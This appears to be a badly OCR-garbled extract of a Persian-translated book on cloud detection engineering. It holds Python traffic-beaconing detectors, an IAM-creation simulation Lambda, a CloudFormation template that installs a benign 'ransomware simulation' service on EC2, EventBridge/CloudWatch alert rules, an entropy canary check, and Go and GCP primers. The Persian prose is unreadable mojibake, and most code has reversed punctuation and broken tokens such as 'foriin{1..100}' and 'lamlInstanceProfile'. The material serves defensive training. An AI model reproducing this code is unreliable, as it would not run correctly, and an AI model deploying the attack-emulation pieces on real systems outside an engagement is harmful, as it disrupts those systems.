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}alerts.append

,()timestamp': datetime.now().isoformat’

,alert_type': 'SUSPICIOUS_BEACONING'

,src_ip'": src'

,dst_ip': dst’

,details': timing_stats’

,reason': 'Highly regular connection pattern detected’
visualization': viz_file'

(

\if timing_stats['entropy_score'] > 0.9

print(f"\nDetected randomization pattern: {src} -> {dst}")
Wiz_file = generate_timing_visualization

(df, intervals, 'SUSPICIOUS_RANDOMIZATION', src, dst, viz_dir
})alerts.append

,()timestamp': datetime.now().isoformat’

,'alert_type': 'SUSPICIOUS_RANDOMIZATION'

,src_ip': src'

,dst_ip': dst’

,details': timing_stats’

,reason': 'Artificially random connection pattern detected’
visualization': viz_file'

(

print("\n\nChecking for scanning behavior...")

.Check for scanning behavior #

scanning_results, scan_df = detect_scanning(connections)

.if scanning_results
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.for resultin scanning_results
print(f"Detected scanning from: {result['src_ip']}")
,viz_file = generate_scanning_visualization(scan_df
,result['src_ip']
(viz_dir
}alerts.append
,()timestamp': datetime.now().isoformat’
,alert_type': 'SCANNING_DETECTED'
,src_ip': result['src_ip']’
,details": result’
'reason’
,"f"Rapid scanning pattern detected ({result['unique_targets']} targets)
visualization': viz_file'
(
.Output alerts as JSON #
print("\nAnalysis complete!")
iif alerts
print(f"\nFound {len(alerts)} alerts:")
print(json.dumps(alerts, indent=2))
-else
print("\nNo alerts generated")
" if_name__=="__main
analyze_traffic(DEFAULT_LOG_FILE)
JIsodd sl R s S Sitia Sl i sla S lulid 1729 s
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Figure 10-1: The AWS CloudFormation architecture
AWS CloudFormation ¢l V-« S5

2 CloudFormation )g\ U eadics Hldand C'_uﬂ.,.s A A e Gy sad HjElee ALl ) Jaad Dlasald Cpl
DA ) Gada () Gl S (G ol sicdn 1o sal ) il g e 2 sin Gl 4y (S Cada Ly <l s paila K50
S paldid 0 gd AWS Gl (533 saile AU e

IAM Lambda <blee L 5l s )lab 5 jlaand

L Slaalee ot s Gladlae (5] s G seads sadala) L (led Loadi3)) ¥ AWS Lambda @) 5

) ool Lal aii€ Cada 5 alal 15 JAM ol o)\ Laiiies 235 55 e iine JAM (i 4l (S0 L 3 sa se (sladals jliic|
A€ Lag je S Sl Callad 43 23 i ladlae 48 3 dla by DB e <SG ol 25ile Lambda g Sy

4S e LI 1 eal) lad 4y Lambda @b o bl 0 IAM La)lS <SG el (6l n sa0 V=) e G el
S aal A st AWS CloudTrail o b Sl alagl o)y oBiiba 51 ol )3 T

import json

import boto3

import random

import string

import time

.def generate_random_string(length=8)

return ".join(random.choices(string.ascii_lowercase + string.digits, k=length))
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def lambda_handler(event, context)
iam = boto3.client('iam")

.Simulate IAM user creation #

"Y)username = f"simulation-{generate_random_string

‘try
iam.create_user(UserName=username)
time.sleep(2) # Short delay
iam.delete_user(UserName=username)
:except Exception as e

print(f"Error in simulation: {str(e)}")

} return

,statusCode': 200’

body': json.dumps('Simulation completed')’

{

AWS Lambda L IAM )l alag) g jbernd 11-) « o o8

O S LS e o2l JAM O tS slagd (510 s G5 @l S D aagd 503k S0 s Sl il (S
cslaan 8 (53 Bl (28 liu oain e ) sl iy w5 51 s ) 5 DevOps sbat (A s 4S Sl o) Y
¢S <SG Datadog «Y YO e 2 2 s oaliiul [dentity, Governance, and Administration (IGA)
https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-) a2 (il S 4a 55 Q8 alea
) eadenn 33 slaaali Jlie] i glaales 2 48 (ftrenches-the-attacker-doth-persist-too-much
oliuile g Lalds bl 50 JAM slaaslijlie ) ad 65 5) 2 AWS Lambda s Amazon APl Gateway glic Jal
AP| Gateway ¢ s> Lambda ) L elSile 31 0l AAWS 081 s slacus sase 50 Gaile (5 L ia S

_J}S‘sa PR\ i
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bin/bash/!#

"log_file="/var/log/simulation.log

while true; do

timestamp=\$(date "+%Y-%m-%d %H:%M:%S")
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echo "\$timestamp Starting simulation cycle" >>\$log_file

cd /tmp

echo "\$timestamp Generating encrypted files" >>\$log_file
foriin{1..100}; do

dd if=/dev/urandom of="data_\${i}.txt" bs=1K count=500 2>/dev/null

"mv "data_\${i}.txt" "data_\${i}.encrypted

done

echo "\$timestamp Starting CPU stress test" >> \$log_file

stress-ng --cpu 1 --io 1 --timeout 180s

echo "\$timestamp Completed CPU stress test" >>\$log_file

echo "\$timestamp Starting disk activity simulation" >>\$log_file
foriin{1..5}; do

dd if=/dev/urandom of=/tmp/large_file_\${i} bs=1M count=20 2>/dev/null
sync

sleep 2

done

.Leave in here if you want to DFIR it and optionally make a ransom note #
echo "\$timestamp Cleaning up simulation files" >>\$log_file

find /tmp -name "*.encrypted" -type f -delete

* rm -f /tmp/large_file

echo "\$timestamp Simulation cycle complete, sleeping for 15 minutes" >>\$log_file
sleep 900

done

EOF
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CloudFormation L _) il (5 )l jlSasa

JalS Qlld Vo) v i yed e (5 )ludnd dla ) ) el olal ‘um:wja@ ' CloudTrail L;.J.u)i.u U
iy Sy 1) Uiy il ) 5 AM i (EC2 43 sal cLambda gl VPG 4S 33 ol | YAML

AWSTemplateFormatVersion: '2010-09-09'

S Al asl 5 CloudFormation

Description: 'Security Simulation Infrastructure’

--snip--

LatestAmild: 1

Type: AWS::SSM::Parameter::Value<AWS::EC2::Image::ld<

Default: '/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64'

Description: 'SSM parameter for latest AL2023 x86_64 standard AMI’

Resources:

#CloudWatch Log Groups
SystemLogGroup:

Type: AWS::Logs::LogGroup
Properties:
LogGroupName: /simulation/system
RetentionlnDays: 7

Tags:

-Key: rttd

Value: simulation
RansomwarelLogGroup:
Type: AWS::Logs::LogGroup
Properties:

LogGroupName: /simulation/ransomware
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RetentionlnDays: 7

Tags:

-Key: rttd

Value: simulation

#Network resources

VPC:

Type: AWS::EC2::VPC

Properties:

CidrBlock: 'Ref VpcCIDR
EnableDnsHostnames: true
EnableDnsSupport: true

Tags:

-Key: Name
Value: !Sub ${AWS::StackName}-VPC
-Key: rttd
Value: simulation
InternetGateway:

Type: AWS::EC2::InternetGateway
Properties:

Tags:

-Key: rttd
Value: simulation
AttachGateway:
Type: AWS::EC2::VPCGatewayAttachment
Properties:

Vpcld: Ref VPC
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InternetGatewayld: |Ref InternetGateway
Subnet:

Type: AWS::EC2::Subnet

Properties:

Vpcld: Ref VPC

CidrBlock: !Ref SubnetCIDR
MapPubliclpOnLaunch: true
AvailabilityZone: !Select [ 0, |GetAZs " ]
Tags:

-Key: Name

Value: !Sub ${AWS::StackName}-Subnet
-Key: rttd

Value: simulation

RouteTable:

Type: AWS::EC2::RouteTable
Properties:

Vpcld: IRef VPC

Tags:

-Key: rttd

Value: simulation

Route:

Type: AWS::EC2::Route

DependsOn: AttachGateway
Properties:

RouteTableld: !Ref RouteTable

DestinationCidrBlock: 0.0.0.0/0
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Gatewayld: !Ref InternetGateway
SubnetRouteTableAssociation:

Type: AWS::EC2::SubnetRouteTableAssociation
Properties:

Subnetld: !Ref Subnet
RouteTableld: 'Ref RouteTable
SimulationSecurityGroup:

Type: AWS::EC2::SecurityGroup
Properties:

GroupDescription: Security group for simulation instance

Vpcld: IRef VPC
SecurityGrouplngress:
-IpProtocol: tcp

FromPort: 443

ToPort: 443

Cidrlp: 'Ref VpcCIDR
-IpProtocol: tcp

FromPort: 443

ToPort: 443

Cidrlp: 0.0.0.0/0
SecurityGroupEgress:
-IpProtocol: "-1"

FromPort: -1

ToPort: -1

Cidrlp: 0.0.0.0/0

Tags:

255
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-Key: rttd

Value: simulation

#|AM resources
SimulationLambdaRole:
Type: AWS::IAM::Role
Properties:
AssumeRolePolicyDocument:
Version: '2012-10-17"
Statement:

-Effect: Allow

Principal:

Service: lambda.amazonaws.com
Action: sts:AssumeRole

ManagedPolicyArns:

-arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole

Policies:
-PolicyName: SimulationPolicy
PolicyDocument:
Version: '2012-10-17'
Statement:
-Effect: Allow
Action:
-iam:CreateUser
-iam:DeleteUser
-iam:CreateRole

-iam:DeleteRole
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Resource: !Sub arn:aws:iam::${AWS::Accountld}:user/simulation*-

Tags:

-Key: rttd

Value: simulation
EC2SimulationRole:

Type: AWS::IAM::Role
Properties:
AssumeRolePolicyDocument:
Version: '2012-10-17"
Statement:

-Effect: Allow

Principal:

Service: ec2.amazonaws.com
Action: sts:AssumeRole
ManagedPolicyArns:
-arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
-arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy
Tags:

-Key: rttd

Value: simulation
EC2InstanceProfile:

Type: AWS::IAM::InstanceProfile
Properties:

Path/ :

Roles:

| -Ref EC2SimulationRole

257
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#Lambda function
--snip--

#EC2 instance 2
Simulationlnstance:
Type: AWS::EC2::Instance
DependsOn:
-AttachGateway
-EC2InstanceProfile
-SystemLogGroup
-RansomwareLogGroup
Properties:

InstanceType: t3.micro
Imageld: |Ref LatestAmild

Subnetld: 'Ref Subnet

lamlInstanceProfile: !Ref EC2InstanceProfile

SecurityGrouplds:

! -Ref SimulationSecurityGroup
BlockDeviceMappings:
-DeviceName: /dev/xvda

Ebs:

VolumesSize: 20

VolumeType: gp3
DeleteOnTermination: true
Encrypted: true

UserData:

Fn::Base64| :
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/"#bin/bash

dnf update -y

#Install required packages including cronie.

dnfinstall -y stress-ng amazon-cloudwatch-agent cronie

cat > /opt/aws/amazon-cloudwatch-agent/bin/config.json << EOF
}

"agent} "

"run_as_user": "root”

{

"logs}:"

"logs_collected} :"

"files} :"

"collect_list] :"

}

"file_path": "/var/log/messages,”
"log_group_name": "/simulation/system,”
"log_stream_name": "{instance_id},"
"timestamp_format": "%b %d %H:%M:%S,"
"timezone": "UTC"

A

}

"file_path": "/var/log/simulation.log,”
"log_group_name": "/simulation/ransomware,"
"log_stream_name": "{instance_id},”
"timestamp_format": "%Y-%m-%d %H:%M:%S,"

"timezone": "UTC"
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{
[

{

{

A

"metrics} ;"

"metrics_collected} :"

"mem} ;"

"measurement": ["mem_used_percent"],
"metrics_collection_interval": 60

{

"Cpu} :"

"measurement": ["cpu_usage_idle", "cpu_usage_user", "cpu_usage_system"],

"metrics_collection_interval": 60

{

"disk} :"

"measurement": ["disk_used_percent"],

"metrics_collection_interval": 60,

"k "] n

"resources|

~m A A

EOF
/opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config

-m ec2 -s -c file:/opt/aws/amazon-cloudwatch-agent/bin/config.json
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systemctl enable amazon-cloudwatch-agent

systemctl start amazon-cloudwatch-agent

#Create simulation script.

cat > /usr/local/bin/ransomware_sim.sh << EOF

/"#bin/bash

log_file="/var/log/simulation.log”

while true; do

timestamp=\$(date "+%Y-%m-%d %H:%M:%S")

echo "\$timestamp Starting simulation cycle" >>\$log_file
cd/tmp

echo "\$timestamp Generating encrypted files" >>\$log_file
foriin{1..100}; do

dd if=/dev/urandom of="data_\${i}.txt" bs=1K count=500 2>/dev/null
mv "data_\${i}.txt" "data_\${i}.encrypted”

done

echo "\$timestamp Starting CPU stress test" >>\$log_file
stress-ng --cpu 1 --io 1 --timeout 180s

echo "\$timestamp Completed CPU stress test" >> \$log_file
echo "\$timestamp Starting disk activity simulation" >>\$log_file
foriin{1..5}; do

dd if=/dev/urandom of=/tmp/large_file_\${i} bs=1M count=20 2>/dev/null
sync

sleep 2

done

echo "\$timestamp Cleaning up simulation files" >>\$log_file

find /tmp -name "*.encrypted" -type f -delete
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rm -f /tmp/large_file*

Apsec.ir

echo "\$timestamp Simulation cycle complete, sleeping for 15 minutes" >>\$log_file

sleep 900

done

EOF

chmod 755 /usr/local/bin/ransomware_sim.sh

#Create copy in ssm-user home directory.

mkdir -p /home/ssm-user

cp /usr/local/bin/ransomware_sim.sh /home/ssm-user/
chown ssm-user:ssm-user /home/ssm-user/ransomware_sim.sh
chmod 755 /home/ssm-user/ransomware_sim.sh
#Enable and start crond service.

systemctl enable crond

systemctl start crond

cat > /etc/systemd/system/ransomware-sim.service << EOF
JUnit[

Description=Ransomware Simulation Service

[Service] 3

Type=simple
ExecStart=/usr/local/bin/ransomware_sim.sh
Restart=always

RestartSec=60

JInstall]

WantedBy=multi-user.target

EOF

systemctl daemon-reload
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systemctl enable ransomware-sim
systemctl start ransomware-sim
Tags:
-Key: Name
Value: !Sub ${AWS::StackName}-Simulationlnstance
-Key: rttd
Value: simulation
--snip--
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* ot aiw wecertd wisng a0 AN Ley Management Jacvice key

* Wigld £ Moo MESEA COMMaNd's and detals i an Amazon 55 bucket or CloudWatch Logs ing groun
» Comiguire wrsions on the Session Basager Prale s e 1 page

Figure 10-9: The EC2 instance Session Manager Connect menu
EC2 4 s Session Manager Jball (s sie 13-) « IS4

Lasiiions 15 0 5 258 1oy ssmM-USer 58 _3 53 lae &) paty | ransomware_sim.sh S Sl 23l 5
S o) n) G s

sh-5.2$ cd ~/ && pwd && s

home/ssm-user/

ransomware_sim.sh

sh-5.2% sudo ./ransomware_sim.sh

stress-ng: info: [25959] setting to a 180 second (3 mins, 0.00 secs) run per stressor
stress-ng: info: [25959] dispatching hogs: 1 cpu, 1 io

stress-ng: info: [25961] io: this is a legacy I/0O sync stressor, consider using iomix instead
stress-ng: info: [25959] successful run completed in 180.03s (3 mins, 0.03 secs)

) oA oy n ke csla Sl (sl ) L) 8 (EC2 4 sai Jan s ) 8zl Sl ) oal 5l gliselal 1
S5

CloudWatch s CloudTrail sl sy ) adi el 8 fala

255 s » CloudWatch L Amazon EventBridge wasom ) saldiul b andlds ae | 8 ) & o (ladlaa
21 5 ) W SIEM <Ky il i 2 g8 ol a3 slayl CloudWatch s CloudTrail sala sy 3 b lada

Js» Cloud Security Posture Management (CSPM) Jael ;) o aS Sl |y (andds glaculild 4 caui€
YT e.b‘)& Caul o ng\.a.ua:\:g:

(S (i y2d )y n) EventBridge sae 8 il 5 e peandd Gludige caa j S el (b ) 0
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}

"source": ["aws.iam"],

"detail-type": ["AWS API Call via CloudTrail"],
"detail} "

"eventSource": ["iam.amazonaws.com"],

"eventName": ["CreateUser"]

{
{

) 525 » EventBridge uw s~ 4 <AWS Management Console ) saléiul Loacld cl (50 S adlial () p
.4 SIS Create Rule ¢y .43 <&l | EventBridge Rule with Event Pattern «Get Started
Next 50 5 22 b o 258 0208 4y (s ¢3S (5 sald il ) G YU 2 1)) Visual Rule Builder Opt-in
<3 311 AWS Service Events «xiS Jé s jlbsa | Visual Rule Builder Opt-in «asdia () 530S (SQIS
i€ SIS (255 0als)) IAM LS (3l 655 € 5ild [AM & jle gl 5 i€ Qi s Giew 30 Events
)Y ea) e JSE) S W) 5 23S Triggering Events 4sa 43 1) AWS API Call Via CloudTrail 4 X Gaps

(e

e

)

Figure 10-10: Creating EventBridge rules for APl-centric event alerting to different
destinations

alide aalia 49 APl S aie slaalay gy o lada ) p EventBridge el g8 alag Yy emY e IS

Aaal 6 5 4S JSON oacld Ay\y‘_,’_.a A4S 28 a8 Culad ladia 44 g S ;iTh\SS Event Pattern (Fi[ter) XS]
Sl S (a8 ()5 SNS ¢ sn 30 S Ol sieds |y i 23l $ice G S (5 IRl o Ha ), 32 S
A€ sl S CloudWatch (il S

DAL YL G pan 55 48 23S Ayl CloudWatch Jlada o il 5 e sl Gludige ) 81zl pandldl (o)
2))5 ALARM Cumca s 4y jladia o (85 a3 e addi 3 ) EventBridge JSON sacld 353 Jlxd CPU
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}

,version": "0""

,"detail-type": "CloudWatch Alarm State Change”
,"source": "aws.cloudwatch”

} "detail”

,"alarmName": "EC2HighCPUUtilization" )

} :"configuration”

,"description": "EC2 CPU utilization exceeded 90% for 5 minutes”

} "metrics”

,"id": "cpu_metric”

} ‘"metricStat”

} "metric”

,namespace": "AWS/EC2""
,"name": "CPUUtilization"
} :"dimensions”

"Instanceld": "${instance-id}"

{

A
,period": 300"

"stat": "Average”

’{

returnData": true”

[

,evaluationPeriods": 1"
,threshold": 90.0"

"comparisonOperator": "GreaterThanThreshold”

269
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A

} "state”

"value": "ALARM"

{
{
{

581 B e Jlmse ) (s sk 21 e ) 28w Gy Ole ) dsha )3 1) CPU i eas Jlis 0l oS s 0

() sage 4n il J sera e s S g ccanary sladild o Gl st (S YL 1/0 2l €
(SRE) <ubas Glinalal colild csniga (sl )l sl (il (g 3380 () 0 e 4o S0 3 (Sae 22 Bl jlame L
S S Lags jlaials (olllid 5 jlee (paia  Sdiaes 3 Led 43 230 63« Splunk s Datadog il

<2 Varonis «Y+ Y0 LSl o Gl sad Gl yige (28l (slis Clea aadldl (5 3 CPU Llak YL o jas
2 S SLlis CPU (e Uib Gavk ) 1) RansomHub L) 8lzb 4les
https://www.bleepingcomputer.com/news/security/how-a-cpu-spike-led-to-uncovering-)
.(la-ransomhub-ransomware-attack

21 Alarms s .45 » CloudWatch 4 <AWS Management Console 2 excld & &5 ol dla) (o)
i€ S Browse s .48 S Create Alarm ) s «2iS S 1 AllAlarms s (i il Qs G
Juse Ol sie4s |y CPUULLiZation «asS lasil | ) CWAgent x> Ui 58 |5 Custom Namespaces
Gl (i 15 V)Y e JSE) A€ alal Gla ) Jska 5o 1y adlind (sla el Ly 5 eanS QLA 2 g3 43 5ad (5l

S e ool EC2 4l gai (5 9 ) sdicual CloudWatch dele ) as S jsius 4S CloudFormation

Specify metric and conditions

@ n
:

Metric

Grsah

Figure 10-11: Tracking metrics over time with AWS CloudWatch alarms
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1) EC2 JLié cund slachu Sl 5 (s ludnns Lambda s S audaii | 2o 8 il 65 e coliala 31 calaal ()
Aied a8 o glaaly gy B anS | jal s )l

s235 )18 Jay sl (51 (s T n (thae (il 2 i e (ainas (ladlae «CloudWatch sl Jlae 51 il
cladid ) saldin) L) SuiSS () il 55 e it S0 6R (5 e ) LA a8 Ja jy 2K g leealy ) )
22 jal 1y ) a))se 5 2€ 561, Cloud Shell <AWS Management Console 2 .28 (il 3l canary

$ ~pwd
/home/cloudshell-user
$ ~echo "foobar" > /tmp/honey.txt

$ ~python3 -c "import math; from collections import Counter;
data=open('/tmp/honey.txt','rb")

.read(); entropy=0 if len(data)==0 else -sum(count/len(data)*math.log2(count/len(data((
for count in Counter(data).values()); print('Entropy: {:.2f} - ALERT: POSSIBLE ENCRYPTION'
format(entropy) if entropy > 7.0 else 'Entropy: {:.2f} - OK'.format(entropy)”(

Entropy: 2.52 - OK

$ ~opensslrand 256 > /tmp/honey.txt

$ ~

python3 -c "import math; from collections import Counter;
data=open('/tmp/honey.txt','rb")\

.read(); entropy=0 if len(data)==0 else -sum(count/len(data)*math.log2(count/len(data\((
for count in Counter(data).values()); print('Entropy: {:.2f} - ALERT: POSSIBLE\
ENCRYPTION'.format(entropy) if entropy > 7.0 else 'Entropy: {:.2f} - OK'.format(entropy)""(
Entropy: 7.20 - ALERT: POSSIBLE ENCRYPTION

$~

sl ) 5L (o s 50l ) S il g )2 o Bl (5 5o 3l () Al (b a5 ) O sy aacSy ol
Jae! (51 atiea oadis XK Jay sWoals Jsare YU (351 (Adbai saida i Vv VL 8l b (Jadild xS s
s 5 oM Jad ) CloudWatch Jlada <SG 5 23 3l 5 cron JIS <G o sieds | S Sl «dsel )
352 var/ransomware/ & var/simulation/ s i) X 5 «ALERT: POSSIBLE ENCRYPTION»
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1y e cp) 50 55ca Wle o % (5 st (5 g jbinn 53 () 4l lad (il Sl Bk (and el @ (ol
A galat Sl e al slaaiian b 2 5& (ald SIEM slaa il )

) cde glacullad (o jludnd L engagement Uk Ol s (s 028 S (slalid) ) odldiul o gai Juad (pl
Glme S 4kl 5 ol e Ay 32 8 ) AWS Dl Led als (adigy | (ladlae a3 slaculil (il )]
i 4 CloudFormation ) saldia) au€ Jlad el sla ) ) yida (o) AL e il Al AS 3 S saldiul
Gl 5o il sy () Gy (10 R0 oalitiad 5 50 S 5 ey K5l 5 e ial it 1) il 38300 0
e 48 ol jlada sl 61 EventBridge o) s 2l 5i e Gladlie 43 s 4S 2 e 50 € 0 aal 5 AWS
K Cay et A0S e 4pdad | lagl adlial ) 5 il sla )yl
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APPENDIX

TECHNICAL PREREQUISITES

lee ) Glisedal g1y Ladi JLal (sl ) 3l ok S ¢ e 8 a8 engagement < Glal 3 ) ks gl 0
e 5 sidia 48 (pl 4 5930 (o3 5 09 53 G (el Ay (s s a8y | (Kol ) Ll S o el (s
4 200 B e LA la Jb gl ) ) dm i callinnd s 28S el il 4 Gl (Ld siea ey glacullE ) 4all (S
WS SaS (38 90 (eSS (A (6] Led il Dy 685

engagement sl s Leii 43 (38 S Hlai 50 dia Jli 3 ga ge sW )l 3l L 1) ) e 530l (5 Saanal
S jige Sl Udadd Y gana 3 9a se sla )l cladleal (s cal b il sl ) se al g2 Culld aSh Ll lad

5 ol (puige sLar jd) cladle 0 dagii j S ) 8 Ll s (e gl s 5ige ) 4S diile e
3 Gl sl Gl 2 1) 253 385055 3 Led SAAAIR ) 5 e Glagasdl s il aSU Rk 5
oS Sg 3 aal g cabe 4l SO (59 engagement el )l Ole) 032 ) G en

A 51 (583 S0 ) ) 5 2B ja e p2dAT g (B (6 5 el b ) 8 lag FI Al ) slae sana 4S Caulail
Lol o 43 8a 8 R aal s ol (S Gl sl pas 53258 02liisd LOLBIN 42 o s (3% Jsane 1 38l 8
L 4y oy ) ila oo (8l (512680 B 5 2l IS a8 s 53 28S e )8 () )30 il 1 4S 3 Yl (ol
Sl Ldd 5l RN S (g il S gladlia el e (sl al 5l il (51 a1 (38 sl Jligin SIS e SaS
Gl cadua LT Amazon Web Services (AWS) s «<Google Cloud Platform (GCP) «Go (o sl 5
Ay ) o il

Go Lg)'\ia\o\) 9 L;a\_m

Jalis el Qs (i 4y i AT (S ol i€ e oolitind LS slaolBotibe ST s 510 Go ) e
5 Python sladisin 31 ol b ogle ) glaa 5o, 0508 BalS b oad i () ) So aile |l ) O 5 _yillans)
e Lol O Sl il p&ias (53508 B, Go LS 5 il «C

IS ) alai) (51 s i 15 c2S (adii i b g o3lel Gash 31 1 sala 158 4S 30 5l Go
S 4nnlia | ) GO s Python U Jsfie (0le) A-1 Cou jed S e Sl

Python version #

seconds =25

"sentence = "this is a string
Go version //
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var seconds int = 25 // Explicit type declaration
sentence := "this is a string" // Type inference
Python Jiie )3 Go L2 wrde S Ole) AT Do yed
113 1) ) i siae 358055 O edla ol b oaldi) puae 5 (5 g 58 il ) sl A s s Cand (Soas
g ol oS gl by i (S alila cod e lat (g3 20 g e Jath 0
gl oaldiu 0ga ga (sl e 4 palae ddaa auadd (gl g il g ad e
g ol e oadieba ) (sl yuria (5) At mhans 3 231 g5 pal @
s ealiin) W yuaia sain 5 K A8 il i i e

i b S a5 saSaadad Gie 31 Jla 5o S0 5 s i€ ool ¢ 53 s e ONe ) ) «Go b g sk oK
A ol

AL A g ) e JSo a8 5 A e Jlee ) sl &8 ac ) B8 Go LLelS ¢ ial i slagl ) s
25 A Cusd JlS s

sadioaliind (sla yuaia o
return s s &l 5o
sy pai (gla i o
oddiipaldin sada )l 5 (slaailaliS o
3 e L | lalhad & 5 ol ) (s sad A2 Cans s
import "fmt" // Unused library
} ()func example
x :=5// Declared but unused inferred style
vary int// Declared but unused explicit style
return z // Undefined variable
{
Go LUlS slalhd (0 8 Jlad 1A-2 sy

sln try/except slacSsh ) Python 48 (s )y 35S0 Cy e Python ) Csléia | lalad (niaes Go
Fan 4S8 o) 53 3310 S e aal 55 ) g pem ol () sicdy | ) Wlad GO ¢S e ooliiinl Laliiul Cuy e 5 (58 S
J ol 02020 & 5 (el o 4S i€ Al ol (il s 8 e Und (50 ab 5 Al OS50 ab 20 ) s CauSld
S Alia | L) 50 a3 Uad oyt A-B s ped A ) ealdial )
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Python error handling #

.def validate_age(age)

‘try

age = int(age)

lifage<0

raise ValueError("Age cannot be negative")
return age

:except ValueErroras e

return None, str(e)

‘try

("e-")result = validate_age

print("Valid age:", result)

.except ValueErroras e

print("Error:", e)

Go error handling //

} func validateAge(age string) (int, error)
num, err := strconv.Atoi(age)

}if err I=nil

return 0, err

{

}ifnum<0

return 0, errors.New("Age cannot be negative")

{

return num, nil

{

Example usage //
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"o-")age, err := validateAge
}if err 1= nil
fmt.Printin("Error:", err)
}else {
fmt.Println("Valid age:", age)
{
Go Jilie )3 Python o Uad Cy jiae (A-3 o jed

1) a5 Jaleabins Culie 45 U 05 0 https://go.dev 43 .28 aal & g jlails) ) 5 a5l )5 368 Go Jams cany
i€ Al ) Oy s |l s e ol oLl ) G 20 Cal g a5l

go version $
go version go1.25.5 windows/amd64

G S e paldin) XS aaile jlu u‘;\_me\} Cu e gl p g5k ) Go cvenv «Python sl g alia
2! helloworld Js e S alad 51 25 851 Jlisa 5 3115 25 2150 «Go L 255 4ali s ol s) (55l
EATELN

mkdir helloworld $
cd helloworld $
go mod init helloworld $
ailial 1) A4 Caus jed S 5 1K Ma) main.go Al 4 Jild (S0 casa aBe 350 XKl s ) ealiiad L Yla
package main
import "fmt”
func main} ()
fmt.Printin("hello world")
{

Go L1 «hello world» 4xli p S 1 A-4 Cus jed

Ol S 25la) 28 3l sa | jal go run Glasd Dl saliial b Laive 1) 4elips 0l 15 i 50 23 )5 Q46
1S )53 JlalS go build Oled ) eaiid L1 (F apes 5 (025 sl

workspace$ s/~
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go.mod gopath main.go
/~workspace$ go run main.go
Hello, World!

/~workspace$ go build main.go
/~workspace$ ls

go.mod gopath main main.go
/~workspace$

O D) A (sl (S5 5 (o) Babiald (g 3l lailind (5 s S e dpna g8 4S Cal A linter S Jdls Go
A el s 3l J ass Go gaie sdild 555 1) go Fmit Gled (Saludy |, 2S waldiud

a3 oe QLB J sare GO Jsle 58 h Sa po 1) L A-B Cu

helloworld/
— |—go.mod # Module definition and dependencies
— |—go.sum # Dependency checksums
— Fmain.go # Main package
— Lpkg/ # Project packages
— Lutils/
— Lutils.go

GO S hams sladils (5 58 s 1A-B Cau e

alal W Kl 5 ) 5 Js5ke i yad 6 1 1) go.mod Jié Go xS el ) ) helloworld Jsile 48 o8
e s 3 A e (381 (5 By (add () e 48 Cad Gl st 0 GO sl 8o ) 4S ol oLl S S
go.mod Jdié « x2S LS L 1 ja) by Siivl 5 35000 (531 3 93 50 go.mod ) ek 15 J sl 1 58 235 e
S sl |yl K 5 oAl G 5 2 Cada )

2l Sl RN S e ki Gla) U 3 WAAUS ) (5 ke (s ¢aiSioad ama i 1 W2 Sas )y Cal Dl S L
Al 1 ) slagled 5 2l 48615 o cgo.mod <ada Glads i€ 1 al b BilwlS 20 a8 ) shlas | Jleal
YT

go mod tidy # Adds missing modules and removes unused ones

go mod download # Downloads all dependencies
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D% 4l b i go.mod 45 ailead 3 5lils La Kl 5 4S 38 e (ranial el 45 a5 cp) 40 Jlad 52 s s)a)

Sl Lu.u\‘)?l odd (i dia c.uA deLA

e 5 ) giee 4S ol gl 5 slagled ) S A4S 5 Sy A-B i ygd Gal il el g2y iyl S Go

#Initialize a new module.
go mod init myproject

#Get/update dependencies.

go mod tidy # Add missing modules and remove unused ones.

go get package # Add/update a specific package.
go mod download # Download all dependencies.
#Build commands

go build # Build the current package.

go build main.go # Build a specific file.

go run main.go # Run in one step.

go install # Build and install binary.

#Format/lint code

go fmt # Format current directory.

gofmt./... # Format all packages recursively.
gofmt -w . # Format and write changes to files.
gofmt -d . # Show formatting differences without changing.
#Module maintenance

go mod verify # Verify dependencies.

go mod why # Explain why a package is needed.
go mod graph # Print module requirement graph.

Go ) sl b IA-6 i jed

S saldi) Alilee

610 200 el 4 15 gl 4 20 se ) B e 55 ) e 4S 31 2535 GO L sk cume SISG 5 lac a8

S o) [https://github.com/teivah/100-go-mistakes U2 1 i gl oldd) Ve v ¢ il &lSS
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280 12l GOP (olal mlia b ails ¢l s <3S 3l 53 ooliind GCP it ciladd 31 Qi€ ol ual a2 L
85500 S 3 ) A€ e JS O 5048 Jhise 8 GCP. GCP L 55 alie g jute 5 (82 Ll o s Jal

aent LA gy ) il e 0 55 (i 2 sdee Jaldi ) Ladi (el (530 S 5 5 IS (sla )l 4S 2 e ale Sl

o 550p grham 4 (s 5 Ole ) Al 2 shas ) aalie e (Sial Gl (e Jlu S )3 4y (din 5 2isd
BTN )

s 31lel 5 GCP o553 S S8 R1 ala aaa) 525 4o by ol Ao 4 (g3l e o) slaolSola Sl (sl
1 o silly Claliidl 5 oS sl b B anS (o jlailel ) das 055 5 S Waelibe 31 Jaas a8 ariS e da 53 gl S
Gl 1) Google Cloud Jswi€ yo (madd Jaal Clus o L daii o GCP 653 cdia A-1 IS5 € laa

R e
= Google Cloud
Manage resources Create project
Resources
= Fiter Filter
[0 Name D
O w B No organization
O o xtecjob xtec-iab
0 o xtec-demos xlec-demos
O S GSE-Prep gseprep-283
(W o+ API Project api-project-8 [}

Figure A-1: Viewing the list of GCP projects

GCP LSLM‘SJ‘):} o yed oalia 1A Jsé

JSG 2 sadeala (LSS <ldentity and Access Management (IAM) GCP aivaw 48 1€ (€ 50 Al (pines Lol
S Lagl 43 () sie 4S c(gale alad O S aiile caiua (A ga 90 LPrincipal . 2See S 4 Ss A2
) i G583 1) (API) G308 (oo sl Lol 5 (sla ) s 8 oIS wi€ e J A4S 0 S e ) §oma Nia LS L
Lol 4SS e oaldiiu) (a5 o slaciles di gy Jlalad e slacibus i Lad ¢ JS3 A (5 )IS (sl )b (61 202 ol
(Viewer s <Editor cOwner) (e (ol (sl i slady ariS oo dna 6 Le 2l Jad je sla jsmae 5 Lo il
S paldi) (G Hjlee gla mas )
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Figure A-2: Setting custom IAM roles and permissions
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Figure A-3: Creating a service account key
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Lael&iibe 31 3 o2l 63 (5 lus JSON web token (JWT) iS5l Lad aity &5l e i o Slec
A0S A g saldiul

S slasai S 4 3 s GCP GWAPI L Laivue 4 e alag) IS ol slaolliule ) (5 s 4S (adbia jiliy
